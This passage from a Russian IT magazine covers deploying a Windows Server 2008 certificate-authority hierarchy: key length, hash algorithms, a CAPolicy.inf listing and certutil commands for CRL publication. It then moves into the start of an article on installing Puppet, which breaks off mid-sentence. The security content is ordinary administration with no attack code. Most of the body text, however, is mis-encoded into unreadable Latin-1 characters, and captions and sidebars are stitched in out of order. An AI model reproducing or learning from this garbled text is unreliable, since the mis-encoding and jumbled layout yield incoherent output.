íî è âûðó÷êó, è çàêàç÷èêîâ, äëÿ êîòîðûõ ïðîåêò íå áûë âûïîëíåí â 
ñðîê.
Äàííûå øèôðóþòñÿ ñ ïîìîùüþ ñåêðåòíîãî êëþ÷à ñèììåòðè÷íûì àë-
ãîðèòìîì, ýòîò ñåêðåòíûé êëþ÷ øèôðóåòñÿ îòêðûòûì êëþ÷îì ïîëüçî-
âàòåëÿ è ïîìåùàåòñÿ â çàãîëîâîê çàøèôðîâàííîãî ôàéëà. Ñåêðåòíûé 
êëþ÷ ìîæåò øèôðîâàòüñÿ íå òîëüêî îòêðûòûì êëþ÷îì ïîëüçîâàòåëÿ, 
íî è îòêðûòûì êëþ÷îì àãåíòà âîññòàíîâëåíèÿ (data recovery agent). 
Â ýòîì ñëó÷àå àãåíò ïîëó÷àåò âîçìîæíîñòü ðàñøèôðîâàòü äàííûå 
äàæå ïðè óòåðå ïîëüçîâàòåëüñêîãî çàêðûòîãî êëþ÷à. Âòîðîé ïóòü — 
ýòî àðõèâèðîâàíèå è øèôðîâàíèå çàêðûòîãî êëþ÷à ïîëüçîâàòåëåé 
ñ ïîìîùüþ îòêðûòûõ êëþ÷åé àãåíòîâ âîññòàíîâëåíèÿ êëþ÷åé (key 
recovery agent), è ïîñëåäóþùåå âîññòàíîâëåíèå ïîëüçîâàòåëüñêîãî 
êëþ÷à â ñëó÷àå åãî óòðàòû.

SYN/ACK

 116  

Предустановленные корневые сертификаты

Добавление роли AD CS

Добавление роли AD CS

XÀÊÅÐ  12  /143/  10

WinXP SP2 и Server 2003 SP2 не подде-
рживают SHA2 без обновлений, причем 
для Server 2003 SP2 требуется установка 
KB938397, который недоступен через 
стандартный Windows Update, а требует 
отдельного скачивания.



 117  117 

Срок действия
Ñðîê äåéñòâèÿ ñåðòèôèêàòà çàâèñèò îò åãî ïðåäíàçíà÷åíèÿ. Îáû÷íî äëÿ 
ïîëüçîâàòåëüñêèõ ñåðòèôèêàòîâ âûáèðàþò ñðîê 1-2 ãîäà, äëÿ ñåðòèôè-
êàòîâ Subordinate Issuing CA — îêîëî 5 ëåò, äëÿ ñåðòèôèêàòîâ çäîðîâüÿ 
NAP — íåñêîëüêî ÷àñîâ, ñàìûé äëèòåëüíûé ñðîê çàäàåòñÿ äëÿ ñåðòèôè-
êàòîâ êîðíåâûõ ÓÖ — äî íåñêîëüêèõ äåñÿòêîâ ëåò.

Алгоритмы и длина ключа
Î÷åâèäíî, ÷òî ÷åì äëèííåå êëþ÷, òåì íàäåæíåå çàùèùåíû äàííûå, è 
òåì áîëüøå âðåìåíè òðåáóåòñÿ íà âçëîì. Íî ïðè ýòîì áîëüøå ðåñóðñîâ 
òðåáóåòñÿ è íà âûïîëíåíèå øèôðîâàíèÿ, ðàñøèôðîâêè è ïðîâåðêè ïîä-
ïèñè. Êðîìå ðåñóðñîâ òðåáóåòñÿ ïîääåðæêà êîíêðåòíîé äëèíû êëþ÷à 
âñåìè ïðèëîæåíèÿìè, êîòîðûå ìîãóò áûòü óñòàíîâëåíû ó ó÷àñòíèêîâ 
PKI. Òî åñòü ïðè âûáîðå äëèíû êëþ÷à öåíòðà ñåðòèôèêàöèè â 4096 áèò 
íàäî áûòü óâåðåííûì, ÷òî âñå îïåðàöèîííûå ñèñòåìû, ïî÷òîâûå ïðèëî-
æåíèÿ, ñèñòåìû äîêóìåíòà îáîðîòà è äðóãèå ïðèëîæåíèÿ, èñïîëüçóþ-
ùèå ñåðòèôèêàòû, ñìîãóò ðàáîòàòü ñ êëþ÷àìè òàêîé äëèíû. 
Êðîìå äëèíû êëþ÷à íàäî âûáðàòü êðèïòîãðàôè÷åñêèå àëãîðèòìû, 
êîòîðûå áóäóò èñïîëüçîâàòüñÿ. Çäåñü âñå çàâèñèò íå òîëüêî îò ïðåäïî÷-
òåíèé àäìèíèñòðàòîðà è âîçìîæíîñòåé ÏÎ, íî è îò îáëàñòè äåÿòåëüíîñ-
òè êîìïàíèè — êðîìå òðåáîâàíèé ê ñåðòèôèêàöèè è ëèöåíçèðîâàíèþ 
ñðåäñòâ êðèïòîãðàôè÷åñêîé çàùèòû, èñïîëüçóåìûõ ïðè îáðàáîòêå 
ïåðñîíàëüíûõ äàííûõ è ãîñóäàðñòâåííîé òàéíû, ñóùåñòâóþò îòðàñëå-
âûå ñòàíäàðòû, êîòîðûå ðåãëàìåíòèðóþò èñïîëüçîâàíèå êîíêðåòíûõ 

àëãîðèòìîâ.
Êðîìå òîãî, íåîáõîäèìî ïðàâèëüíî âûáðàòü àëãîðèòì õåøèðîâàíèÿ, 
êîòîðûé èñïîëüçóåòñÿ äëÿ ñîçäàíèÿ õåøåé ñåðòèôèêàòîâ, êîòîðûå ïîòîì 
ïîäïèñûâàþòñÿ ÓÖ. Ñ îäíîé ñòîðîíû, äîâîëüíî ïîïóëÿðíûé àëãîðèòì 
SHA1 ðåêîìåíäóåòñÿ ïðåêðàòèòü èñïîëüçîâàòü äî êîíöà òåêóùåãî ãîäà, 
èç-çà àòàê íà íåãî, è ïåðåéòè íà SHA2. Ñ äðóãîé ñòîðîíû, WinXP SP2 è 
Server 2003 SP2 íå ïîääåðæèâàþò SHA2 áåç îáíîâëåíèé, ïðè÷åì äëÿ 
Server 2003 SP2 òðåáóåòñÿ óñòàíîâêà KB938397, êîòîðûé íåäîñòóïåí 
÷åðåç ñòàíäàðòíûé Windows Update, à òðåáóåò îòäåëüíîãî ñêà÷èâàíèÿ.

Этапы развертывания
Ïîñëå îïèñàíèÿ âîçìîæíûõ âàðèàíòîâ è ïàðàìåòðîâ óñòàíîâêè, 
ðàññìîòðèì øàãè, êîòîðûå íàäî ïðåäïðèíÿòü ïðè ðàçâåðòûâàíèè äâóõ-
óðîâíåâîé èíôðàñòðóêòóðû öåíòðîâ ñåðòèôèêàöèè íà áàçå Windows 
Server 2008.
Âíà÷àëå íåîáõîäèìî îïðåäåëèòü, êòî áóäåò èñïîëüçîâàòü ñåðòèôèêàòû 
— òîëüêî ñîòðóäíèêè êîìïàíèè, êëèåíòû èëè ïàðòíåðû. Ïðîäóìàòü, äëÿ 
êàêèõ öåëåé è â êàêèõ ïðèëîæåíèÿõ áóäóò èñïîëüçîâàòüñÿ ñåðòèôèêàòû, 
êàêèì îáðàçîì ñåðòèôèêàòû áóäóò çàïðàøèâàòüñÿ è îáíîâëÿòüñÿ. Êàêèì 
îáðàçîì áóäåò íàñòðàèâàòüñÿ äîâåðèå ê êîðíåâîìó ñåðòèôèêàòó äëÿ 
ïîëüçîâàòåëåé. Ñàìûé ïðîñòîé âàðèàíò — èñïîëüçîâàòü ãðóïïîâûå ïî-
ëèòèêè, íî îí ïîäõîäèò òîëüêî äëÿ ñîòðóäíèêîâ êîìïàíèè, ïðè íàëè÷èè 
åäèíîãî ëåñà â îðãàíèçàöèè. Èíîãäà äàæå ïðèõîäèòñÿ äîñòàâëÿòü ñàìî-
ïîäïèñàííûé ñåðòèôèêàò íà ìàòåðèàëüíîì íîñèòåëå âî âñå ôèëèàëû 
êîìïàíèè. 
Åñëè â èòîãå áûëî ïðèíÿòî ðåøåíèå î ñîçäàíèè èåðàðõèè êîðïîðàòèâ-
íûõ ÖÑ, òî ïåðåõîäèì ê ñëåäóþùèì øàãàì.
• Ïðîâåðèòü, ÷òî âûïîëíåíû ïðåäâàðèòåëüíûå òðåáîâàíèÿ:
          • Â ñëó÷àå èñïîëüçîâàíèÿ îäíîãî Issuing CA íà âåñü ëåñ, ñîîòâåòñòâó-
þùèé ñåðâåð äîëæåí áûòü âêëþ÷åí â ãðóïïó Certpublishers â êàæäîì 
äîìåíå.
           • Åñëè èñïîëüçóþòñÿ HSM-ìîäóëè, îíè äîëæíû áûòü ïîäêëþ÷åíû äî 
íà÷àëà óñòàíîâêè ÓÖ.
           • Äëÿ óñòàíîâêè òðåáóåòñÿ ó÷åòíàÿ çàïèñü Enterprise Admin èëè äëè-
òåëüíàÿ íàñòðîéêà ðàçðåøåíèé íà îáúåêòû è êîíòåéíåðû AD.
• Óñòàíîâèòü Stand-Alone Root CA, êîòîðûé ïëàíèðóåòñÿ èñïîëüçîâàòü 
â âàðèàíòå Offline, ñ èñïîëüçîâàíèåì ôàéëà CAPolicy.Inf, â êîòîðîì 
îòñóòñòâóþò AIA è CDP è óêàçàí óâåëè÷åííûé ñðîê äåéñòâèÿ ñåðòèôèêàòà 
ÓÖ. Ïðèìåð òàêîãî ôàéëà ñ ìèíèìàëüíûì íàáîðîì ïàðàìåòðîâ  — â 

Симметричные 
и ассиметричные 
криптосистемы
Сертификаты используются при работе с ассиметричными криптогра-
фическими алгоритмами. Для таких алгоритмов требуется закрытый 
ключ (обычно — случайное число) и связанный с ним открытый ключ 
(который является основной частью сертификата). Главное свойс-
тво таких систем — невозможность получения закрытого ключа по 
известному открытому. Ассиметричные алгоритмы используются для 
обмена ключами, аутентификации, шифрования сессионных ключей, 
создания электронных цифровых подписей (ЭЦП). При создании 
подписи используется закрытый ключ, для проверки подписи — от-
крытый ключ. При шифровании данных используется открытый ключ 
получателя, таким образом, только владелец закрытого ключа может 
узнать содержимое послания. Для полноценной работы с ассимет-
ричными криптосистемами требуется доступность открытого ключа 
всем вероятным участникам. Но кроме доступности открытого ключа 
требуется возможность определить владельца ключа, чтобы можно 
было определить автора подписи и нельзя было отправить секретные 
данные в руки злоумышленника, зашифровав их его открытым клю-
чом. Как раз для этого и нужны сертификаты.
В симметричной криптографии используется один и тот же ключ для 
шифрования и расшифровки данных. То есть, чтобы передать кому-то 
секретную информацию, зашифрованную с помощью симметрич-
ного алгоритма, необходимо сначала передать ключ так, чтобы он 
не стал известен третьей стороне. Симметричные алгоритмы могут 
быть использованы и для аутентификации (например, CBC-MAC и 
HMAC), но так как для проверки используется тот же ключ, что и для 
аутентификации, такой метод нельзя назвать надежным, поскольку 
ключ известен как минимум двум сторонам. Симметричные алгоритмы 
работают на несколько порядков быстрее ассиметричных, используют 
более короткие ключи, проще реализуются на обычных процессорах, 
но требуют серьезных затрат по управлению ключами. Кроме того, 
секретность зашифрованных данных будет зависеть не только от того, 
как надежно вы храните свой секретный ключ, но и от методов хране-
ния ключа получателем.

Настройка AIA и CDP
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ëèñòèíãå. 
Ñðîê äåéñòâèÿ ñåðòèôèêàòà ÓÖ, çàäàííûé ÷åðåç ìàñòåðà äîáàâëåíèÿ 
ðîëåé áóäåò èìåòü áîëåå âûñîêèé ïðèîðèòåò, ÷åì ñðîê, çàäàííûé â ôàé-
ëå. Ôàéë CAPolicy.Inf äîëæåí íàõîäèòüñÿ â %SystemRoot%, â ïðîòèâíîì 
ñëó÷àå îí íå áóäåò èñïîëüçîâàí.
• Çàäàòü íåîáõîäèìûå ïàðàìåòðû äëÿ êîðíåâîãî ÓÖ:
• Çàäàòü ðàñøèðåíèÿ CDP è AIA äëÿ âûäàâàåìûõ ñåðòèôèêàòîâ, óêàçàâ 
ïóòè, êîòîðûå áóäóò äîñòóïíû äëÿ ïîëüçîâàòåëåé ïðè îòêëþ÷åíèè 
êîðíåâîãî ÓÖ. Ïàðàìåòðû çàäàþòñÿ íà âêëàäêå Extensions â ñâîéñòâàõ 
ñåðâåðà â îñíàñòêå Certification Authority. È äëÿ ìåñòîïîëîæåíèÿ CRL,  
è äëÿ ìåñòîïîëîæåíèÿ êîðíåâîãî ñåðòèôèêàòà íåîáõîäèìî âêëþ÷èòü 
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Ññûëêè ïî òåìå
• Ñîçäàíèå ïîëèòèê ñåðòèôèêàöèè è ðåãëàìåíòà ÓÖ — http://

technet.microsoft.com/en-us/library/cc780454(WS.10).

aspx

• Ñòàòüÿ A.K. Lenstra, E.R. Verheul î âûáîðå äëèíû êëþ÷à 

â çàâèñèìîñòè îò âîçìîæíîñòåé àòàêóþùåãî — «Selecting 

cryptographic key sizes» (http://www.win.tue.

nl/~klenstra/key.pdf). Íà ñàéòå http://www.keylength.

com/en/ ìîæíî ïîñìîòðåòü, äî êàêîãî ãîäà ìîæíî ñ÷èòàòü 

íàäåæíîé çàäàííóþ äëèíó êëþ÷à, è íàîáîðîò, êàêîé äëèíû 

êëþ÷à õâàòèò äëÿ ñîõðàíåíèÿ äàííûõ â ñåêðåòå äî óêàçàí-

íîãî ãîäà.

• Ñòàíäàðòû PKCS (http://www.rsa.com/rsalabs/node.

asp?id=2124) è X.509 (http://www.itu.int/rec/T-REC-

X.509/en)

• Ðàçäåëû, ïîëÿ è çíà÷åíèÿ ôàéëà CApolicy.inf – http://

blogs.technet.com/b/askds/archive/2009/10/15/windows-

server-2008-r2-capolicy-inf-syntax.aspx

• Ïîëåçíûå çàìåòêè ïðî PKI è ðåãóëÿðíûå ññûëêè íà íîâûå 

ïîäðîáíûå whitepapers — Windows PKI blog — http://blogs.

technet.com/b/pki/

Ëèñòèíã 3. Íàñòðîéêà ÷àñòîòû 
ïóáëèêàöèè CRL ñ ïîìîùüþ ôàëà
CAPolicy.Inf 

CRLPeriodUnits = 60 

CRLPeriod = Days

CRLOverlapUnits = 1 

CRLOverlapPeriod = Weeks 

CRLDeltaPeriodUnits = 0 

CRLDeltaPeriod = Hours

Генерация ключа

Архивирование 
и транспортировка 
до конечного 
пользователя

Хранение 
и использование

Восстановление 
ключа в случае его 
утраты

Уничтожение 
ключа

Рис. ! Жизненный цикл ключа

Рис. 2 Жизненный цикл сертификата

Регистрация 
пользователя

Создание 
запроса

Проверка 
запроса

Отзыв

Выпуск
сертификата

Хранение, 
распространение 
и использование 
сертификата

Приостановка 
действия 
сертификата

Обновление 
действия 
сертификата
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ðàñøèðåíèÿ â èçäàâàåìûå ñåðòèôèêàòû, îòìåòèâ «Include in the CDP 
(AIA) extension of issued certificates» ñîîòâåòñòâåííî. Ìîæíî íàñòðîèòü 
CDP è AIA ÷åðåç êîìàíäíóþ ñòðîêó ñ ïîìîùüþ certutil. Ïîñëå êîíôè-
ãóðèðîâàíèÿ ïàðàìåòðîâ íåîáõîäèìî ðàçìåñòèòü ñîîòâåòñòâóþùèå 
ôàéëû ïî óêàçàííûì ïóòÿì. 
           • Çàäàòü èíòåðâàë ïóáëèêàöèè CRL îò íåñêîëüêèõ ìåñÿöåâ äî ãîäà, è 
êàæäûé ðàç ïî èñòå÷åíèþ çàäàííîãî èíòåðâàëà ïåðåâîäèòü ÓÖ â ñîñòî-
ÿíèå online, ãåíåðèðîâàòü CRL è êîïèðîâàòü åãî ïî ïóòÿì, óêàçàííûì â 
CDP. Íàñòðîéêà èíòåðâàëà ïóáëèêàöèè CRL ïðîèçâîäèòñÿ â ñâîéñòâàõ 
êîíòåéíåðà Revoked Certificates îñíàñòêè Certification Authority êîìàí-
äîé certutil (ëèñòèíã 2) èëè óêàçûâàåòñÿ ïåðåä óñòàíîâêîé ÓÖ â ôàéëå 
CAPolicy.Inf â ðàçäåëå [certsrv_server] (ëèñòèíã 3).
           • Íåîáõîäèìî óâåëè÷èòü ïåðèîä äåéñòâèÿ âûäàâàåìûõ ñåðòèôèêà-
òîâ, òàê êàê âûäàâàåìûå ñåðòèôèêàòû áóäóò ïðåäíàçíà÷åíû äëÿ ÓÖ. 
• Íà ñåðâåðå, êîòîðûé áóäåò ïîä÷èíåí ÓÖ, íàñòðîèòü äîâåðèå ê êîðíåâî-
ìó ñåðòèôèêàòó. Âïîñëåäñòâèè íåîáõîäèìî áóäåò íàñòðîèòü äîâåðèå ê 
êîðíåâîìó ñåðòèôèêàòó äëÿ âñåõ ïîëüçîâàòåëåé.
• Óñòàíîâèòü Issuing Enterprise CA, êîòîðûé áóäåò ÿâëÿòüñÿ ïîä÷èíåí-
íûì äëÿ Stand-Alone Root CA. Â ïðîöåññå óñòàíîâêè íàäî ñîõðàíèòü 
çàïðîñ íà ñåðòèôèêàò äëÿ ïîä÷èíåííîãî ÓÖ â ôàéë. Ôàéë ñ çàïðîñîì 
íåîáõîäèìî ñêîïèðîâàòü íà ñåðâåð, íà êîòîðîì óñòàíîâëåí êîðíåâîé 
ÓÖ, â îñíàñòêå Certification Authority âûáðàòü Submit new request â 
ðàçäåëå Action è îòêðûòü ñêîïèðîâàííûé ôàéë. Ïîñëå ýòîãî ñåðòèôèêàò 
íåîáõîäèìî èçäàòü, òàê êàê ïî óìîë÷àíèþ îí îêàæåòñÿ â êîíòåéíåðå 
Pending Requests. Çàòåì ïîëó÷åííûé ñåðòèôèêàò ïåðåíåñòè è óñòàíî-
âèòü íà ïîä÷èíåííîì ÓÖ.
Åñòü åùå íåêîòîðûå ïîäâîäíûå êàìíè ïðè óäàëåíèè öåíòðà ñåðòèôèêà-
öèè èç äîìåíà — íåäîñòàòî÷íî òîëüêî óäàëèòü ñîîòâåòñòâóþùóþ ðîëü, 
òàê êàê ïîñëå ýòîãî îñòàåòñÿ åùå áàçà èçäàííûõ ñåðòèôèêàòîâ, ñåðòèôè-
êàòû è êëþ÷è ÓÖ, ñïèñêè îòçûâîâ è ñåðòèôèêàòû ïðîìåæóòî÷íûõ ÓÖ.

Заключение
Ïîíÿâ, êàêèå âîçìîæíîñòè åñòü ó òåõíîëîãèè PKI, è òî÷íî çíàÿ, ÷òî 
îáîçíà÷àåò òîò èëè èíîé òåðìèí, ìîæíî áåç òðóäà ðàçâåðíóòü ñëîæíóþ 

êîíôèãóðàöèþ èç áîëüøîãî êîëè÷åñòâà öåíòðîâ ñåðòèôèêàöèè, äàæå 
åñëè îíè óñòàíîâëåíû íà ðàçëè÷íûå ÎÑ.z

Настройка частоты публикации списков отзыва

Ëèñòèíã 1. Ôàéë CAPolicy.Inf äëÿ 
êîðíåâîãî ÓÖ 

[Version]

Signature= "$Windows NT$"

[Certsrv_Server]

RenewalKeyLength=2048

RenewalValidityPeriod=Years

RenewalValidityPeriodUnits=20

[CRLDistributionPoint]

[AuthorityInformationAccess]

Иерархическая 
модель

СA СA

СA

СA

Сетевая модель

СA СA

СA

Мостовая модель

СA СA

СA

Bridge СA

СA

СA

СA

СA

СAСA

Кросс-сертификация с ограничением доверия

Модели доверия

Ëèñòèíã 2. Íàñòðîéêà ÷àñòîòû
ïóáëèêàöèè CRL 
ñ ïîìîùüþ certutil

certutil -setreg CA\CRLPeriodUnits 60 

certutil -setreg CA\CRLPeriod "Days" 

certutil -setreg CA\CRLOverlapUnits 1

certutil -setreg CA\CRLOverlapPeriod "Weeks" 

certutil -setreg CA\CRLDeltaPeriodUnits 0 

certutil -setreg CA\CRLDeltaPeriod "Hours"
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Не так давно на страницах журнала мы рассматривали систему удаленного управления 
конфигурацией UNIX-машин Cfengine, которая существенно облегчает жизнь системного 
администратора за счет автоматизации действий по настройке множества сетевых узлов. 
Но, как бы ни был удобен Cfengine, у него есть множество недостатков, которых лишена система 
под названием Puppet.

Master 
of puppets

Ïðåäñòàâü ñåáÿ â ðîëè ñèñòåìíîãî àäìèíèñòðàòîðà, îòâåòñòâåííîãî çà 
ïîääåðæàíèå ðàáîòîñïîñîáíîñòè ñîòíè-äðóãîé ìàøèí, ðàáîòàþùèõ 
ïîä óïðàâëåíèåì îïåðàöèîííûõ ñèñòåì òèïà UNIX. Êàæäàÿ èç íèõ 
òðåáóåò íàñòðîéêè, ïåðèîäè÷åñêîãî îáíîâëåíèÿ è ìîíèòîðèíãà, ïðè 
ýòîì ïðåäïîëàãàåòñÿ, ÷òî ìíîãèå èç íèõ âûïîëíÿþò ñõîäíûå ôóíêöèè. 
Äâå òðåòè — ýòî ðàáî÷èå ñòàíöèè, åùå íåñêîëüêî — ìàðøðóòèçàòîðû, 
îñòàëüíûå — íåñêîëüêî âåá-ñåðâåðîâ è õðàíèëèù äàííûõ. Âîïðîñ: êàê 
âñåì ýòèì õîçÿéñòâîì óïðàâëÿòü? Ñàìûé ïðîñòîé îòâåò — ýòî ïðîñòî 
ïîäêëþ÷àòüñÿ ê êàæäîé èç íèõ ñ ïîìîùüþ SSH è âíîñèòü íåîáõîäèìûå 
èçìåíåíèÿ. Îäíàêî òàêîé ñïîñîá èìååò äâå ïðîáëåìû. Âî-ïåðâûõ, îí 
î÷åíü òðóäîåìêèé. Âî-âòîðûõ, àäìèíó ïîñòîÿííî ïðèäåòñÿ âûïîë-
íÿòü ìíîæåñòâî îäíîîáðàçíûõ äåéñòâèé (íàïðèìåð, ÷òîáû îáíîâèòü 
OpenOffice.org íà âñåõ ðàáî÷èõ ñòàíöèÿõ, ïðèäåòñÿ âûïîëíèòü îäíè è 
òå æå êîìàíäû íåñêîëüêî äåñÿòêîâ ðàç). Ìîæíî ïîïûòàòüñÿ èçáåæàòü 
ýòîé ïðîáëåìû, íàïèñàâ íåñêîëüêî ñêðèïòîâ, êîòîðûå áóäóò ñàìè 
ïîäêëþ÷àòüñÿ ê êàæäîé ìàøèíå è âûïîëíÿòü çàðàíåå ïðîïèñàííûå 
êîìàíäû. Íî è çäåñü òåáÿ îæèäàþò ïðîáëåìû. Ñêðèïòû ïîñòîÿííî 
ïðèäåòñÿ âèäîèçìåíÿòü, ÷òîáû ïîäñòðîèòü èõ ïîä êàæäóþ çàäà÷ó; â 
ñêðèïòàõ ïðèäåòñÿ ó÷èòûâàòü ðàçëè÷èå â îïåðàöèîííûõ ñèñòåìàõ è 
âåðñèÿõ, èõ ïðèäåòñÿ äîëãî îòëàæèâàòü, ïåðåä òåì êàê ïðèìåíèòü ê 
ðàáîòàþùèì ìàøèíàì. Â îáùåì, íå êîìèëüôî. Ïðàâèëüíûé îòâåò 
çàêëþ÷àåòñÿ â èñïîëüçîâàíèè òàê íàçûâàåìûõ ñèñòåì óäàëåííîãî 
óïðàâëåíèÿ êîíôèãóðàöèÿìè, íàèáîëåå èçâåñòíûìè ïðåäñòàâèòå-
ëÿìè êîòîðûõ ÿâëÿþòñÿ îòêðûòûå ñèñòåìû Cfengine è Puppet. Òàêèå 
ñèñòåìû áåðóò íà ñåáÿ âñå îáÿçàííîñòè ïî ïðèâåäåíèþ êîíôèãóðàöèè 
ìàøèí ê íóæíîìó âèäó, òðåáóÿ îò àäìèíèñòðàòîðà ëèøü îïèñàíèå 
êîíå÷íîãî ñîñòîÿíèÿ ñèñòåìû íà ñïåöèàëüíîì ÿçûêå (íàïðèìåð, 
îïèñàíèå òîãî, êàêèå ïàêåòû äîëæíû áûòü óñòàíîâëåíû â ÎÑ, êàêèå 
ñòðîêè äîëæíû áûòü äîáàâëåíû â êîíôèãóðàöèîííûå ôàéëû, êàêèå 
êîìàíäû äîëæíû áûòü âûïîëíåíû è ò.ä.). Ïîñëå ýòîãî âñå óçëû ñàìè 
ïîëó÷àò èíôîðìàöèþ î òðåáóåìîì ñîñòîÿíèè îò ñåðâåðà è ïðîâåäóò 
àâòîêîíôèãóðèðîâàíèå ñèñòåìû. Áëàãîäàðÿ òàêîìó ìåõàíèçìó íîâûå 
ìàøèíû ìîãóò áûòü ïîëíîñòüþ íàñòðîåíû áåç âìåøàòåëüñòâà ÷åëî-
âåêà, à ñóùåñòâóþùèå — ïåðåíàñòðîåíû ñ ïîìîùüþ äîáàâëåíèÿ âñåãî 
íåñêîëüêèõ ñòðîê â îïèñàíèå ñîñòîÿíèé.

Puppet?
Ìû óæå ïîñâÿòèëè öåëóþ ñòàòüþ ñèñòåìå Cfengine, ïîýòîìó ñåãîäíÿ ìû 
îñòàíîâèìñÿ íà ñèñòåìå Puppet, êîòîðóþ âïîëíå ìîæíî íàçâàòü åå èäåî-
ëîãè÷åñêèì ïîñëåäîâàòåëåì. Puppet áûëà ðàçðàáîòàíà Ëþêîì Êàíèåñîì 
(Luke Kanies), êîòîðûé óñòàë îò îãðàíè÷åíèé Cfengine è ðåøèë ñîçäàòü 
åå áîëåå ñîâåðøåííûé àíàëîã ñ íóëÿ. Åñëè òû óæå èñïîëüçîâàë Cfenfine, 
òî íàâåðíÿêà íàéäåøü Puppet áîëåå óäîáíîé è ìîùíîé ñèñòåìîé. ßçûê 

îïèñàíèÿ ñîñòîÿíèé Puppet áîëåå âûñîêîóðîâíåâûé è ãèáêèé, áëàãîäàðÿ 
÷åìó àäìèíèñòðàòîðó íå íóæíî çàáîòèòüñÿ î òàêèõ âåùàõ, êàê íàïèñà-
íèå îòäåëüíûõ ïðàâèë äëÿ êàæäîãî òèïà ÎÑ èëè ïîäðîáíîå îïèñàíèå 
âûïîëíåíèÿ òðèâèàëüíûõ äåéñòâèé. Puppet ïîçâîëÿåò ñâîåìó ãîñïîäèíó 
ñîñðåäîòî÷èòñÿ íà òîì, ÷òî îí õî÷åò ñäåëàòü, âìåñòî òîãî, êàê ýòî äåëàòü 
(íàïðèìåð, ÷òîáû óñòàíîâèòü îïðåäåëåííûé ïàêåò â ëþáóþ èç ïîääå-
ðæèâàåìûõ ñèñòåìîé ÎÑ, äîñòàòî÷íî íàïèñàòü áóêâàëüíî íåñêîëüêî 
ñòðîê, ãîâîðÿùèõ «Óñòàíîâè ýòó ïðîãðàììó», âìåñòî îïèñàíèÿ êîìàíä, 
íåîáõîäèìûõ äëÿ åå óñòàíîâêè). Puppet íàïèñàí íà ïðîñòîì ÿçûêå Ruby, 
áëàãîäàðÿ ÷åìó åãî äîñòàòî÷íî ïðîñòî ïîäîãíàòü ïîä êîíêðåòíóþ çàäà÷ó 
è ðàñøèðèòü ôóíêöèîíàë (ïðåäóñìîòðåíà ãèáêàÿ ñèñòåìà ïëàãèíîâ). 
Êðîìå òîãî, â îòëè÷èå îò ìîäåëè ðàçâèòèÿ Cfengine, êîòîðàÿ ôàêòè÷åñêè 
âðàùàåòñÿ âîêðóã îäíîãî ÷åëîâåêà, âîêðóã Puppet ñôîðìèðîâàëîñü áîëü-
øîå ñîîáùåñòâî ýíòóçèàñòîâ, êîòîðûå âíîñÿò äîðàáîòêè â êîä, äåëÿòñÿ 
ïðèìåðàìè êîíôèãóðàöèè è ïèøóò äîêóìåíòàöèþ.
Â öåëîì Puppet ïðîèçâîäèò âïå÷àòëåíèå áîëåå ñîâðåìåííîé è ïðîäóìàí-
íîé ñèñòåìû ñ õîðîøèì äèçàéíîì. Êàê è Cfengine, îíà ïîääåðæèâàåò 
ïî÷òè âñå ñîâðåìåííûå UNIX-ïîäîáíûå ÎÑ (â òîì ÷èñëå MacOS X), à 
òàêæå ìîæåò ðàáîòàòü â ñðåäå Cygwin ïîâåðõ Windows. Ñïèñîê åå çàâè-
ñèìîñòåé âêëþ÷àåò òîëüêî èíòåðïðåòàòîð Ruby è èíñòðóìåíò Factor, òàê 
÷òî ïðîáëåì ñ óñòàíîâêîé âîçíèêíóòü íå äîëæíî (ñïðàâåäëèâîñòè ðàäè 
ñòîèò ñêàçàòü, ÷òî ñïèñîê çàâèñèìîñòåé Cfengine è òîãî êîðî÷å).

Установка
Êàê è Cfengne, Puppet — êëèåíò-ñåðâåðíàÿ ñèñòåìà, êîòîðàÿ ñîñòîèò èç 
óïðàâëÿþùåãî ñåðâåðà è ïîä÷èíåííûõ óçëîâ. Ñåðâåð õðàíèò îïèñàíèå 
êîíå÷íûõ ñîñòîÿíèé óçëîâ (êîòîðûé â òåðìèíàõ Puppet íàçûâàåòñÿ 
ìàíèôåñòîì) è æäåò èõ ïîäêëþ÷åíèÿ. Êàæäûå ïîë÷àñà (ïî óìîë÷àíèþ) 
êëèåíò ïîäêëþ÷àåòñÿ ê ñåðâåðó, ïîëó÷àåò îò íåãî îïèñàíèå êîíå÷íîãî 
ñîñòîÿíèÿ, ñâåðÿåò åãî ñ òåêóùèì è, åñëè îíî è/èëè îïèñàííîå ñîñòîÿíèå 
èçìåíèëîñü, ïðîèçâîäèò ïåðåêîíôèãóðèðîâàíèå ñèñòåìû, ïîñëå ÷åãî 
óõîäèò â ñîí. Êîììóíèêàöèÿ ïðîèçâîäèòñÿ ÷åðåç çàøèôðîâàííûé êàíàë, 
ïîýòîìó àòàêè, îñíîâàííûå íà ïîäìåíå îïèñàíèÿ ñîñòîÿíèÿ, èñêëþ÷åíû 
(íî åñëè âçëîìùèê çàõâàòèò ñåðâåð, òî âñå óçëû áóäóò ïîä åãî êîíòðî-
ëåì). Puppet âêëþ÷åí â ðåïîçèòîðèè âñåõ ïîïóëÿðíûõ äèñòðèáóòèâîâ, 
ïîýòîìó åãî óñòàíîâêà íå äîëæíà âûçâàòü çàòðóäíåíèé. Íàïðèìåð, â 
Debian/Ubuntu êëèåíò Puppet ìîæíî óñòàíîâèòü òàê:

$ sudo apt-get install puppet

À ñåðâåð — òàê:

$ sudo apt-get install puppet puppetmaster

Óñòàíîâêà è íàñòðîéêà ñèñòåìû óäàëåííîãî 
óïðàâëåíèÿ êîíôèãóðàöèåé Puppet
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Êîíôèãóðàöèîííûå ôàéëû êëèåíòà è ñåðâåðà õðàíÿòñÿ 
â êàòàëîãå /etc/puppet. Íàèáîëåå âàæíûé èç íèõ — 
ôàéë /etc/puppet/manifests/site.pp, ñîäåðæàùèé 
ìàíèôåñò. 
í õðàíèò îïèñàíèå ñîñòîÿíèé è äîëæåí ñóùåñòâîâàòü 
òîëüêî íà ñåðâåðå. Äëÿ óäîáñòâà îòëàäêè äîáàâèì â íåãî 
ïðîñòåéøóþ êîíôèãóðàöèþ:

# vi /etc/puppet/manifests/site.pp

class passwd {

 file { "/etc/passwd":

  owner => root,

  group => root,

  mode => 644,

 }

}

node default {

 include passwd

}

Ýòè ñòðîêè îïèñûâàþò ñîñòîÿíèå, ïðè êîòîðîì âëàäåëü-
öåì ôàéëà /etc/passwd äîëæåí áûòü root, à ïðàâà äîñòóïà ê 
íåìó óñòàíîâëåíû â çíà÷åíèå 644. Â ñëåäóþùåì ðàçäåëå ìû 
ïîäðîáíåå ðàññìîòðèì ôîðìàò ôàéëà ìàíèôåñòà. Âòîðîé 
ïî âàæíîñòè ôàéë íîñèò èìÿ /etc/puppet/puppet.conf. Îí 
